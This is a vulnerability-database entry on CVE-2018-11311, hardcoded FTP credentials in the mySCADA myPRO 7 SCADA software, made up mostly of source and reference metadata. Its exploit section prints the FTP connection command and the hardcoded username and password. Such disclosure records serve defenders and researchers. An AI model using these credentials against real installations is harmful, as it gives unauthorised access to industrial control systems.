ID

VAR-E-201805-0246


CVE

cve_id:CVE-2018-11311

Trust: 1.5

sources: PACKETSTORM: 147705 // EXPLOIT-DB: 48620

EDB ID

48620


TITLE

mySCADA myPRO 7 - Hardcoded Credentials - Hardware remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 48620

DESCRIPTION

mySCADA myPRO 7 - Hardcoded Credentials. CVE-2018-11311 . remote exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 48620

AFFECTED PRODUCTS

vendor:myscadamodel:myproscope:eqversion:7

Trust: 2.1

sources: PACKETSTORM: 147705 // EXPLOIT-DB: 48620 // EDBNET: 103145

EXPLOIT

# Exploit Title: mySCADA myPRO v7 Hardcoded Credentials
# Date: 2018-07-02
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://myscada.org
# Software Link: https://www.myscada.org/mypro/
# Version: v7.0.45
# Tested on: Windows/Linux
# CVE-2018-11311
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11311
# https://github.com/EmreOvunc/mySCADA-myPRO-7-Hardcoded-FTP-Username-and-Password

# PoC

ftp [IP] 2121

username: myscada

password: Vikuk63

Trust: 1.0

sources: EXPLOIT-DB: 48620

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 48620

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 48620

TYPE

Hardcoded Credentials

Trust: 1.6

sources: EXPLOIT-DB: 48620 // EDBNET: 103145

TAGS

tag:exploit

Trust: 0.5

sources: PACKETSTORM: 147705

CREDITS

Emre ÖVÜNÇ

Trust: 0.6

sources: EXPLOIT-DB: 48620

EXTERNAL IDS

db:NVDid:CVE-2018-11311

Trust: 2.1

db:EXPLOIT-DBid:48620

Trust: 1.6

db:EDBNETid:103145

Trust: 0.6

db:PACKETSTORMid:147705

Trust: 0.5

sources: PACKETSTORM: 147705 // EXPLOIT-DB: 48620 // EDBNET: 103145

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2018-11311

Trust: 1.5

url:https://www.exploit-db.com/exploits/48620/

Trust: 0.6

sources: PACKETSTORM: 147705 // EXPLOIT-DB: 48620 // EDBNET: 103145

SOURCES

db:PACKETSTORMid:147705
db:EXPLOIT-DBid:48620
db:EDBNETid:103145

LAST UPDATE DATE

2022-07-27T10:02:45.858000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:147705date:2018-05-20T16:10:29
db:EXPLOIT-DBid:48620date:2020-06-25T00:00:00
db:EDBNETid:103145date:2020-06-28T00:00:00